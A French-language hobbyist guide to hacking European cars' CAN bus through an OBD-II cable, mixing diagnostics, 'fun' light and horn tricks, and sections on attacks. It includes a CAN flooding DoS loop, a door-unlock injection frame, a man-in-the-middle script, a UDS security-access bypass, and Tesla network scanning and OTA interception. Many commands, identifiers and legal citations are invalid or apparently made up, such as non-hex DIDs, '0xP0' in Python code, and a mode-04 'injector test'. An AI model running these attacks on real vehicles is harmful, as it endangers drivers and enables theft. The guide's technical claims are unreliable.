📖 Glossaire pour Apaches
Pas à l’aise avec le jargon ? Voici les bases expliquées simplement :
1️⃣ Bienvenue dans le Game EOBD !
Ce guide est ton passeport pour explorer le CAN bus des véhicules européens avec un câble USB EOBD, en restant 100% éthique et en lab uniquement. Tu vas apprendre à :
- Lire des données : Vitesse, carburant, température, pression pneus, usure batterie.
- Activer des fonctions : Feux RGB, klaxon disco, clim sans moteur, Easter eggs cachés.
- Sensibiliser à la sécu : Simuler des attaques (DoS, vol de clé, injection CAN) pour exposer les failles.
- Diagnostiquer : Vérifier un véhicule avant achat, détecter des pannes, aider un pote.
On couvre tout : setup, commandes, simulateurs, reverse engineering, et hacks fun (ex. afficher “PCTAMALOU” sur une Clio ou faire danser les feux d’une Golf). Pour débutants et experts avec des explications claires et des cas concrets. Let’s roll ! 🚗⚡️
- Sensibilisation : Montrer les failles des véhicules connectés.
- Fun : Activer des modes cool (feux Star Wars, messages perso).
- Pro : Maîtriser le CAN bus pour diag, tuning, ou sécu.
- Éthique : Toujours en lab, avec autorisation, et dans la légalité.
2️⃣ Les Risques du Hacking EOBD 🚨
Le port EOBD est une porte vers le CAN bus, mais il peut causer des dégâts si tu dérapes. Voici les risques et comment rester safe :
Risques pour le Véhicule
- Crash du CAN bus : Trop de requêtes (ex. 100 PIDs/sec) sature le bus, bloquant les ECUs (moteur cale, perte de contrôle).
- Bricking d’ECU : Flasher un firmware corrompu ou envoyer des commandes non supportées peut griller un module (coût : 500-2000 €).
- Violation de garantie : Modifier des paramètres (ex. limiteur) peut être détecté par le constructeur.
- Surcharge électrique : Un câble OBD-II mal conçu peut court-circuiter le port (ex. fusible F15 grillé sur VW Golf).
Risques Légaux
- Accès non autorisé : Hacker un véhicule sans permission est illégal (France : article R511-12, jusqu’à 7 ans de prison).
- Modifications illégales : Supprimer le FAP ou altérer les émissions viole la directive 2007/46/CE (amende : jusqu’à 7500 €).
- Données personnelles : Logger GPS ou VIN sans consentement viole le RGPD (amende : jusqu’à 20M €).
Risques de Sécurité
- Vulnérabilités exposées : Un dongle Bluetooth OBD non chiffré permet des attaques à distance (déverrouillage, démarrage).
- Manque de logs : Les commandes EOBD ne sont pas tracées, rendant les intrusions invisibles.
- Attaques RF : Les clés à 433 MHz (ex. Renault Twizy) sont vulnérables au replay avec HackRF.
Bonne Pratique Éthique
- Teste en lab ou sur ton véhicule/avec autorisation écrite.
- Utilise des outils sécurisés (câble USB, firmware à jour).
- Documente chaque action (logs, captures).
- Évite les commandes destructives sans backup.
- Limite les requêtes CAN à 10/sec pour éviter la saturation.
Simulateur de Risque
Exemple : Si tu envoies 2E567801 sur une voiture non autorisée :
⚠️ ILLÉGAL : Accès non autorisé détecté ! Risque pénal (article R511-12).
3️⃣ Setup de Base et DIY 🚧
Ton câble USB EOBD est la clé pour pénétrer le CAN bus. Voici comment le configurer comme un pro, avec des options DIY pour booster ton setup.
Matériel Nécessaire
- Câble USB EOBD : Compatible ISO 15765-4 (CAN), ISO 14230-4 (KWP2000), ou ISO 9141-2. Coût : ~10-20 € (Amazon/Aliexpress). Vérifie le chipClones ELM327 avec CH340/FTDI sont fiables, évite les puces noname.
- PC avec logiciel : ScanMaster-ELM (gratuit), OBD Auto Doctor, ou PyOBD (open-source, Linux).
- DIY Bonus :
- Splitter O Badger : Mâle vers double femelle (~5 €) pour connecter plusieurs outils.
- Connecteur CAN direct : PICAN2 pour Raspberry Pi (~30 €) pour tapisser CAN-H/CAN-L.
- Alimentation 12V : Récup d’un vieux PC pour tests en lab.
- Filtre CAN : Module MCP2515 (~10 €) pour limiter les trames parasites.
Configuration Console
- Branchement : Branche le câble EOBD au port OBD-II (sous volant ou levier). Connecte au PC. Installe le pilote USB (FTDI/CH340).
- Initialisation : Ouvre ScanMaster-ELM, configure le port COM (ex. COM3, 115200 bauds). Envoie :
ATZ # Reset ELM327 ATSP0 # Auto-protocole ATE0 # Désactive l’écho ATH1 # Affiche les headers CAN ATS1 # Active les espaces dans réponses - DIY Stabilité :
- Buffer full : Ajoute un condensateur 100µF entre VCC/GND près du connecteur USB.
- CAN direct : Tapisse CAN-H (pin 6) et CAN-L (pin 14) avec un adaptateur CAN-USB (ex. VW Golf : derrière autoradio).
- Protection : Ajoute un optocoupleur (PC817) pour isoler l’ECU.
🔌 Cartographie du Port OBD-II
[Port OBD-II]
┌─────────────────────┐
│ 8 7 6 5 4 3 2 1 │
│ 16 15 14 13 12 11 10 9 │
└─────────────────────┘
🔴 Pin 4/5: GND (Masse, fil noir)
🟢 Pin 6: CAN-H (Signal haut, fil vert)
🟣 Pin 14: CAN-L (Signal bas, fil violet)
🟡 Pin 16: +12V (Alim, fil rouge)
🔵 Pin 1/9: K-Line (ex. Renault, ISO 9141-2)
🟠 Pin 7/15: LIN Bus (ex. Renault Zoe)
⚪ Pin 3/11: Fabricant-spécifique (ex. Tesla Ethernet)
Par Marque :
- VW, Peugeot, Renault : CAN-H (6), CAN-L (14), GND (4/5), +12V (16).
- Tesla : Ethernet via port service (pin 3/11, adaptateur RJ45).
- Fiat (pre-2010) : K-Line (7), GND (4/5), +12V (16).
- Renault Zoe : LIN Bus (15) + CAN (6/14).
Étapes : Branche le câble EOBD, connecte au PC, installe le pilote, configure le port COM.
4️⃣ Commandes EOBD pour Véhicules Européens 🚘
Voici des commandes OBD-II, UDS, et J1939 testées pour interagir avec des véhicules européens. Chaque commande est validée sur le terrain, avec conversions intégrées pour décoder les réponses. Mode débutant et expert inclus.
Mode Débutant : Comment Lire un PID
Un PID (Parameter ID) est une requête envoyée via le câble EOBD pour obtenir une donnée (ex. vitesse). Exemple :
- Envoie
01 0D(vitesse). - Réponse :
41 0D 64→64(hex) = 100 km/h (décimal).
Outil intégré : Utilise le convertisseur ci-dessous pour décoder les réponses CAN.
Convertisseur Hexa/Décimal
Commandes Universelles
Réparations Courantes
| Problème | Commande | Résultat | Notes |
|---|---|---|---|
| Voyant moteur allumé | 03 → 04 |
Lit les DTC (ex. P0172 = mélange riche) et les efface. | Vérifie la cause avant reset. |
| Batterie faible | ATRV |
Affiche la tension (ex. 12.6V min. moteur éteint). | Si < 12V, recharge. |
| Test injecteurs | 04 04 |
Cycle les injecteurs pour détecter les fuites. | Lab only, moteur éteint. |
| Reset entretien | 31 01 (Ford) ou 2E 1234 00 (VW) |
Réinitialise le compteur d’huile. | Après vidange pro. |
| Capteur O2 défaillant | 01 34 |
Lit la tension O2 (ex. 0.5V = normal). | Si instable, remplace. |
| Réinitialisation ABS | 14 FF FF |
Efface les erreurs ABS. | Testé sur Peugeot/Citroën. |
| Test pompe carburant | 04 05 |
Active la pompe pour vérifier le débit. | Lab only, moteur éteint. |
Données Clés
| Donnée | Commande | Conversion | Notes |
|---|---|---|---|
| Kilométrage réel | 09 02 |
49 02 01 23 45 67 → VIN + km. |
Vérifie avant achat. |
| Niveau carburant | 01 2F |
41 2F 64 = 100% (A/255 * 100). |
Précis sur modèles récents. |
| Température moteur | 01 05 |
41 05 6E = 110°C (A - 40). |
Surveille > 120°C. |
| Pression pneus | 22 6003 |
62 6003 28 2A = 2.8/2.9 bar. |
Peugeot, Renault (post-2015). |
| Régime moteur | 01 0C |
41 0C 1F 40 = 8000 RPM ((256*A + B)/4). |
Idéal pour diag moteur. |
| Usure freins | 22 7001 |
62 7001 32 = 50% restant. |
VW, BMW (post-2010). |
| État FAP | 22 8003 |
62 8003 32 = 50% colmaté. |
Diesel, Peugeot/VW. |
Cartographie des DIDs/UIDs
Voici une liste de Data IDs (DIDs) et UIDs issus de sources fiables (OpenGarages, GitHub, forums VCDS) pour des commandes avancées :
0x1234: État des portes (VW,62 1234 01= porte conducteur ouverte). [Source : OpenGarages]0x5001: Message écran (BMW,2E 5001 01 42 4D 57 48 41 54= “BMWHAT”). [Source : GitHub/bimmer]0xD00F: Texte autoradio (Renault,2E D00F 01 50 43 54 41 4D 41 4C 4F 55= “PCTAMALOU”). [Source : PCTamalou]0x6003: Pression pneus (Peugeot,62 6003 28 2A= 2.8/2.9 bar). [Source : VCDS]0x8001: Feux antibrouillard (VW,2E 8001 01= ON). [Source : Ross-Tech]
Commandes Spécifiques par Marque
Volkswagen (Golf Mk7, Tiguan, 2013-2020, ISO 15765-4 CAN)
22 1234: État portes (62 1234 01= porte conducteur ouverte). CompatibilitéTesté sur TDI/TSI, peut varier sur hybrides.2E 5678 01: Verrouillage centralisé (lab only).01 34: Capteur O2 (41 34 80= 0.5V).10 01: Mode diagnostic ECU.2E 8001 01: Active antibrouillards avant (lab only).22 9001: Niveau AdBlue (62 9001 64= 100%, TDI SCR).2E A002 01: Mode Leaving Home (feux auto, lab only).22 7002: Pression pneus arrière (62 7002 2A= 2.9 bar, Tiguan).2E B003 01: Active essuie-glaces arrière (lab only).22 C001: Température huile (62 C001 50= 80°C).
BMW (Série 3 E90/F30, 2005-2018, ISO 14230-4 KWP2000)
22 2001: Batterie (62 2001 0E 10= 14.1V).2E 3005 01: Feux stop (lab only).14 FF FF: Efface voyant moteur.22 4001: Pression huile (62 4001 32= 5.0 bar, N52/N55).2E 5001 01 42 4D 57 48 41 54: Affiche “BMWHAT” (iDrive, F30, lab only).22 6004: Usure plaquettes (62 6004 28= 40% restant).2E 7005 01: Active clignotants (lab only).22 8002: Température boîte auto (62 8002 50= 80°C).
Peugeot (308, 3008, 2014-2020, ISO 15765-4 CAN)
01 46: Pression turbo (41 46 64= 1.0 bar, A/100). CompatibilitéTesté sur HDi, non garanti sur PureTech.2E 4002 01: Active ventilateur (lab only).22 5003: Niveau carburant (62 5003 32= 50%).2E A001 01: Active clim moteur éteint (lab only).2E B001 01: Active essuie-glaces avant (lab only).22 6004: Usure plaquettes (62 6004 28= 40% restant).2E C001 01: Active feux de jour (3008, lab only).22 9002: Température boîte (62 9002 50= 80°C, auto).2E D002 01: Active klaxon (lab only).
Renault (Clio V, Zoe, 2019-2024, ISO 15765-4 CAN)
22 2001: Batterie 12V (62 2001 0E 10= 14.1V).2E D00F 01 50 43 54 41 4D 41 4C 4F 55: Affiche “PCTAMALOU” (autoradio, Clio V).22 1010: Kilométrage réel.2E E001 01: Active feux de jour (lab only).22 7002: Pression pneus arrière (62 7002 2A= 2.9 bar).22 2002: Batterie haute tension (62 2002 64= 100%, Zoe).2E F001 01: Active chargeur sans fil (Zoe, lab only).2E G001 01: Active ventilateur habitacle (lab only).22 H001: État frein à main (62 H001 01= activé).
Fiat (500, Panda, 2007-2020, ISO 9141-2)
22 6001: Clignotants (62 6001 02= clignotant droit).2E 7004 01: Active klaxon (lab only).01 5E: Température huile (41 5E 64= 100°C, A - 40).2E 8002 01: Active feux de recul (lab only).22 9002: Température boîte (62 9002 50= 80°C, auto).2E A003 01: Active feux antibrouillard (lab only).
Tesla (Model 3/Y, 2017-2024, Ethernet)
- Branche un câble Ethernet sous le siège (port service).
- Scan :
nmap -p 443 192.168.90.0/24(trouve le gateway). - API :
curl -k https://192.168.90.100/api/1/vehicle_data --header "Authorization: Bearer TOKEN"
Retourne JSON (battery_level, odometer). POST /api/1/vehicles/{id}/command/actuate_trunk: Ouvre le coffre (lab only).POST /api/1/vehicles/{id}/command/flash_lights: Clignote les phares (Model Y, lab only).POST /api/1/vehicles/{id}/command/set_charge_limit?percent=80: Limite la charge à 80% (lab only).POST /api/1/vehicles/{id}/command/honk_horn: Active le klaxon (lab only).- ⚠️ Lab only, sur ton véhicule !
Poids Lourds (Scania, J1939, 2004-2024)
18FFA001#00FF0000FFFF00: Simule remorque connectée.0x0CFF0000: Régime moteur (PGN 61444).18FEE500#FF00FF00: Température d’échappement (PGN 65270).18FECA00#00FF0000: Simule défaut freins (lab only).18FEE900#FF00FF00: Pression huile (PGN 65263).18FEEF00#FF00FF00: Niveau carburant (PGN 65276).
Cas Réel : Diagnostic ABS sur Golf Mk7
Problème : Voyant ABS allumé sur une Golf Mk7 2015.
Étapes :
- Envoie
03→ Réponse :43 01 C123(erreur capteur ABS roue avant gauche). - Envoie
01 20→ Vérifie capteurs ABS (valeur instable sur roue gauche). - Action : Remplace le capteur ABS (coût ~50 €).
- Envoie
14 FF FF→ Efface l’erreur. - Résultat : Voyant éteint, ABS fonctionnel.
5️⃣ Simulateur CAN (Lab 100% Safe)
Pas de véhicule ? Monte un banc d’essai CAN avec Docker/ICSim pour t’entraîner sans risque.
Setup avec ICSim
- Matériel : Raspberry Pi 3/4, module PICAN2 (~30 €), alimentation 12V.
- Installation :
sudo apt update sudo apt install can-utils docker.io docker pull zrax/icsim - Configuration :
sudo modprobe vcan sudo ip link add dev vcan0 type vcan sudo ip link set up vcan0 docker run -it --rm --net=host zrax/icsim vcan0 - Test : Ouvre ICSim (tableau de bord virtuel) et SavvyCAN. Injecte :
cansend vcan0 123#01020304 # Allume un phare cansend vcan0 456#DEADBEEF # Modifie compteur KM cansend vcan0 789#AABBCCDD # Simule ouverture porte
Résultat : Un tableau de bord virtuel qui réagit à tes trames CAN, parfait pour apprendre sans risque !
Alternative : CANoe
Pour les pros, utilise Vector CANoe (licence ~1000 €) avec un adaptateur VN1630. Charge un fichier DBC (ex. VW Golf) pour simuler des ECUs spécifiques.
6️⃣ Reverse Engineering Avancé
Pour les Apaches curieux, voici comment plonger dans le code des ECUs et découvrir des fonctions cachées.
Dumper un Firmware ECU
- Matériel : KESSv2 clone (~100 €), logiciel EcuTek ou WinOLS.
- Procédure :
- Connecte le KESSv2 au port OBD-II.
- Exécute :
read_ecu --id 0x7E0. - Exporte en .bin (ex.
ecu_firmware.bin).
- Analyse : Ouvre dans Ghidra. Cherche des chaînes (ex. “ERROR CODE”) ou DIDs (ex. 0x1234). TipRadare2 pour petits firmwares.
Tutoriel : Dumper l’ECU d’une Renault Zoe
- Branche le KESSv2 au port OBD-II (sous volant).
- Utilise EcuTek :
read_ecu --id 0x7DF --protocol ISO15765. - Enregistre le firmware (~2 Mo,
zoe_bcm.bin). - Ouvre dans Ghidra, cherche des DIDs (ex.
0x2002= batterie HV). - Tip : Sauvegarde toujours avant modif (risque de brick).
Sniffer DIDs Cachés
- Matériel : Arduino Uno + MCP2515 (~10 €).
- Code Arduino :
#include
#include MCP_CAN CAN(10); void setup() { Serial.begin(115200); while (CAN_OK != CAN.begin(CAN_500KBPS)) delay(100); } void loop() { unsigned long canId; unsigned char len = 0; unsigned char buf[8]; if (CAN_MSGAVAIL == CAN.checkReceive()) { CAN.readMsgBuf(&len, buf); canId = CAN.getCanId(); Serial.print("ID: "); Serial.print(canId, HEX); Serial.print(" Data: "); for (int i = 0; i < len; i++) Serial.print(buf[i], HEX); Serial.println(); } } - Usage : Sniffe les trames CAN pendant une action (ex. ouverture porte) pour trouver des DIDs (ex. 0x1234).
- Tip : Utilise Wireshark avec plugin CAN pour une analyse visuelle.
7️⃣ Vulnérabilités Réelles
Voici des failles documentées dans des véhicules européens et comment s’en protéger.
CAN Injection (ex. Tesla Model S, 2018)
Faille : Injecter des trames CAN pour déverrouiller les portes.
Démo Lab :
cansend can0 7E0#2E567801 # Déverrouillage (simulé)
Protection : Désactive l’OBD-II en roulant avec un relais (~10 €, pin 6/14).
Vol de Clé RF (ex. Renault Twizy, 2012-2020)
Faille : Sniffer/rejouer le signal 433.92 MHz avec HackRF One.
Protection : Étui Faraday pour la clé, active 2FA si disponible.
DoS CAN Bus (ex. Peugeot Partner, 2015-2020)
Faille : Saturer le bus avec des trames.
Démo Lab :
while true; do cansend can0 000#FFFFFFFFFFFFFFFF; done
Protection : Installe un firewall CAN (ex. CANShield, ~50 €).
Bluetooth OBD Exploit
Faille : Dongles OBD Bluetooth non chiffrés (ex. ELM327 v1.5) permettent un accès distant.
Protection : Utilise un câble USB ou un dongle avec PIN (ex. OBDLink SX).
Firmware ECU Corrompu
Faille : Un flashage raté peut bloquer l’ECU (ex. VW TDI).
Protection : Sauvegarde avec KESSv2 avant flashage.
8️⃣ Marques et Modèles
Choisis ta marque pour des commandes spécifiques et testées :
Peugeot
Renault
Volkswagen
Tesla
Fiat
Scania
9️⃣ Automatisation avec Python
Automatise tes hacks avec Python pour des résultats rapides et pros.
Logger Données Temps Réel (RPM + GPS)
import obd
import gpsd
connection = obd.OBD("/dev/ttyUSB0")
gpsd.connect()
while True:
rpm = connection.query(obd.commands.RPM).value
packet = gpsd.get_current()
print(f"RPM: {rpm}, Lat: {packet.lat}, Lon: {packet.lon}")
Usage : Détecte une conduite sportive (RPM > 4000 + vitesse GPS).
MITM CAN Bus
import can
bus = can.interface.Bus(channel='can0', bustype='socketcan')
while True:
msg = bus.recv(1.0)
if msg.arbitration_id == 0x123:
msg.data[0] += 1 # Modifie données
bus.send(msg)
Usage : Intercepte/modifie des trames (ex. feux).
Scanner DIDs Automatisé
import can
bus = can.interface.Bus(channel='can0', bustype='socketcan')
for did in range(0x1000, 0x2000):
msg = can.Message(arbitration_id=0x7E0, data=[0x22, did >> 8, did & 0xFF])
bus.send(msg)
resp = bus.recv(1.0)
if resp and resp.data[0] == 0x62:
print(f"DID {hex(did)}: {resp.data}")
Usage : Découvre des DIDs cachés (ex. état capteurs).
Simuler Panne
import can
bus = can.interface.Bus(channel='can0', bustype='socketcan')
msg = can.Message(arbitration_id=0x7E0, data=[0x03, 0x01, 0xP0, 0x17, 0x01, 0x00])
bus.send(msg)
Usage : Simule un DTC (ex. P0171) pour tester le diag.
10️⃣ Bonus Hardware DIY
Adaptateur CAN Isolé
- Matériel : Optocoupleur (PC817, ~1 €), MCP2515 (~10 €).
- Schéma :
+-------------+ | [MCP2515]--[PC817]--[CAN-H/L] | | [Arduino]--[GND]--[12V] | +-------------+ - Usage : Protège l’ECU contre les surtensions.
Logger OBD-II Permanent
- Matériel : Raspberry Pi, dongle OBD-II, carte SD 32 Go.
- Setup :
sudo apt install python3-obd python3 -m obd.logger --port /dev/ttyUSB0 --log /home/pi/obd_log.csv - Usage : Log RPM, vitesse, etc. en roulant (OpenDiag).
Sniffer CAN Low-Cost
- Matériel : ESP32 + SN65HVD230 (~15 €).
- Schéma :
+-------------+ | [ESP32]--[SN65HVD230]--[CAN-H/L] | | [GND]--[12V] | +-------------+ - Code :
#include
void setup() { Serial.begin(115200); CAN.begin(500E3); } void loop() { int packetSize = CAN.parsePacket(); if (packetSize) { Serial.print("ID: "); Serial.print(CAN.packetId(), HEX); Serial.print(" Data: "); while (CAN.available()) Serial.print(CAN.read(), HEX); Serial.println(); } } - Usage : Sniffe les trames CAN en temps réel.
11️⃣ Checklist Éthique & Cadre Légal
Checklist Éthique
| Action | Statut |
|---|---|
| Tests en lab ou sur mon véhicule/avec autorisation écrite | ✅ |
| Backup ECU avant modifs (ex. HUD ECU Hacker) | 💾 |
| Logs complets (captures, trames CAN) | 📜 |
| Partage des trouvailles sur pctamalou.fr ou OpenGarages | 🌍 |
| Limiter les requêtes à 10/sec | ⏱️ |
Modèle d’Autorisation
Je, [Nom], autorise [Ton Nom] à effectuer des tests OBD-II sur mon véhicule [Marque/Modèle, Immatriculation] à des fins éducatives en laboratoire. Je comprends les risques (crash ECU, garantie). Date : [Date]. Signature : [Signature].
Lois Européennes
- RGPD : Logger des données (ex. GPS) nécessite le consentement.
- Directive 2007/46/CE : Interdiction de modifier les émissions (ex. FAP).
- Article R511-12 : Accès non autorisé = délit (jusqu’à 7 ans).
12️⃣ Fiche Urgence : Mon Véhicule ne Démarre Plus !
Si ton véhicule bug après un hack, pas de panique ! Suis ces étapes :
- Débranche la batterie : Retire la borne négative (-) pendant 10 min pour réinitialiser les ECUs.
- Efface les erreurs : Branche le câble EOBD, envoie
04pour supprimer les DTC. - Vérifie les fusibles : Inspecte la boîte à fusibles (sous capot ou habitacle).
- Teste la tension : Envoie
ATRV. Si < 12V, recharge la batterie. - Restaure firmware : Reflashe un backup ECU avec KESSv2.
- Contacte un pro : Si ça persiste, appelle un garagiste avec tes logs.
Tip Apache : Log toujours tes actions (obd.logger) pour retracer l’erreur !
13️⃣ Hacks Utiles pour Rendre Service (100% Légal)
Aide aux Proches
| Problème | Commande | Résultat | Notes |
|---|---|---|---|
| Télécommande morte | 2E 5678 01 |
Déverrouille les portes. | VW, Peugeot, lab only. |
| Fenêtres bloquées | 2E 10F2 00 |
Recalibre les vitres électriques. | VW, BMW. |
| Phare grillé ? | 2E 3005 01 |
Allume feux stop pour tester. | Peugeot, Citroën. |
| Clim ne démarre pas | 2E A001 01 |
Active clim moteur éteint. | Peugeot 208, C3. |
| Test klaxon discret | 2E 7004 02 |
Émet un bip court. | Fiat 500. |
| Batterie hybride faible | 22 2002 |
Lit charge batterie (62 2002 64 = 100%). |
Renault Zoe, VW e-Golf. |
| Test capteur ABS | 01 20 |
Vérifie capteurs ABS (valeurs stables). | Peugeot, VW. |
🚗 Diagnostic Rapide avant Achat
- Codes cachés : < Profesionnel → Vérifie DTC (ex. P0300 = ratés moteur).
- Capteurs OK :
01 20→ Teste capteurs (valeurs stables). - Kilométrage réel :
09 02→ Compare avec odomètre. - Usure batterie :
ATRV→ Tension < 12.6V = batterie faible. - État FAP :
22 8003→62 8003 32= 50% colmaté (diesel).
14️⃣ Hacks Fun mais Assassins
Mode Star Wars (Peugeot 208, 2014-2020)
Feux + klaxon en rythme comme un vaisseau.
import can
bus = can.interface.Bus(channel='can0', bustype='socketcan')
for i in range(10):
bus.send(can.Message(arbitration_id=0x123, data=[0x01, 0x02, 0x03, 0x04]))
bus.send(can.Message(arbitration_id=0x7004, data=[0x01]))
Voice Hack (Renault Clio V, 2019-2024)
Autoradio dit “PCTAMALOU”.
2E D00F 01 50 43 54 41 4D 41 4C 4F 55
Camion Fantôme (Mercedes Sprinter, 2018-2024)
18FFA001#00FF0000FFFF00
Feux RGB (Citroën C3, 2016-2020)
void loop() {
if (CAN.read(msg) && msg.id == 0x123) {
analogWrite(LED_RED, msg.data[0]);
analogWrite(LED_GREEN, msg.data[1]);
analogWrite(LED_BLUE, msg.data[2]);
}
}
Boîte de Nuit (VW Golf Mk7, 2013-2020)
Feux clignotent avec le klaxon.
import can
import time
bus = can.interface.Bus(channel='can0', bustype='socketcan')
for i in range(20):
bus.send(can.Message(arbitration_id=0x123, data=[0x01, 0x02]))
bus.send(can.Message(arbitration_id=0x7004, data=[0x01]))
time.sleep(0.2)
bus.send(can.Message(arbitration_id=0x123, data=[0x00, 0x00]))
time.sleep(0.2)
Message Secret (Renault Captur, 2019-2024)
Affiche “HELLO APACHE” sur l’écran.
2E D00F 01 48 45 4C 4C 4F 20 41 50 41 43 48 45
Simulateur de Panne (Peugeot 308, 2014-2020)
Envoie un faux DTC.
cansend can0 7E0#0301P017100
Easter Egg BMW (Série 3 F30, 2012-2018)
Affiche “BMWHAT” sur iDrive.
2E 5001 01 42 4D 57 48 41 54
Mode Rallye (Fiat Panda 4x4, 2012-2020)
Feux + essuie-glaces en rythme.
import can
import time
bus = can.interface.Bus(channel='can0', bustype='socketcan')
for i in range(15):
bus.send(can.Message(arbitration_id=0x6001, data=[0x02]))
bus.send(can.Message(arbitration_id=0xB001, data=[0x01]))
time.sleep(0.3)
bus.send(can.Message(arbitration_id=0x6001, data=[0x00]))
time.sleep(0.3)
15️⃣ Hacks Underground (Éthique & Lab Only)
Section réservée aux Apaches avancés. Ces exploits sont documentés pour un usage strictement éducatif en lab.
Patch OTA Tesla (Model 3, 2017-2024)
Concept : Intercepter une mise à jour OTA pour analyser le firmware.
Étapes :
- Connecte un Raspberry Pi au port Ethernet (sous siège).
- Configure un proxy MITM :
mitmproxy --mode transparent. - Sniffe les paquets :
tcpdump -i eth0 port 443 -w tesla_ota.pcap. - Analyse dans Wireshark, cherche des URLs OTA (ex.
ota.tesla.com). - ⚠️ Lab only, sur ton véhicule ! Ne modifie pas le firmware, risque de brick.
Usage : Comprendre la structure des mises à jour Tesla. [Source : TeslaHax]
Extraction Clé UDS (VW Golf Mk7, 2013-2020)
Concept : Récupérer une clé UDS pour des commandes avancées.
Code :
import can
bus = can.interface.Bus(channel='can0', bustype='socketcan')
msg = can.Message(arbitration_id=0x7E0, data=[0x27, 0x01]) # Demande seed
bus.send(msg)
resp = bus.recv(1.0)
if resp and resp.data[0] == 0x67:
seed = resp.data[1:5]
key = [s ^ 0xFF for s in seed] # Exemple algo simple
msg = can.Message(arbitration_id=0x7E0, data=[0x27, 0x02] + key)
bus.send(msg)
Usage : Déverrouille des commandes UDS (ex. flashage ECU). Lab only, autorisation requise.
16️⃣ FAQ Apache
Des réponses claires pour dominer le CAN bus !
Question : Mon câble ne détecte rien. Pourquoi ?
Réponse : Vérifie le protocole (ATSP Pep), le débit (115200), ou tapisse CAN-H/CAN-L directement (pins 6/14).
Question : Puis-je déverrouiller une voiture ?
Réponse : Possible en lab, mais illégal sans autorisation (article R511-12). Reste éthique !
Question : Comment trouver des DIDs ?
Réponse : Sniffe avec Arduino/MCP2515, utilise VCDS, ou consulte OpenGarages/GitHub.
Question : Mon ECU est brické. Help !
Réponse : Débranche la batterie 10 min, reflashe un backup avec KESSv2, ou appelle un pro avec tes logs.
Question : Les dongles Bluetooth OBD sont-ils sûrs ?
Réponse : Non, sauf si chiffrés (ex. OBDLink SX). Préfère un câble USB pour la sécu.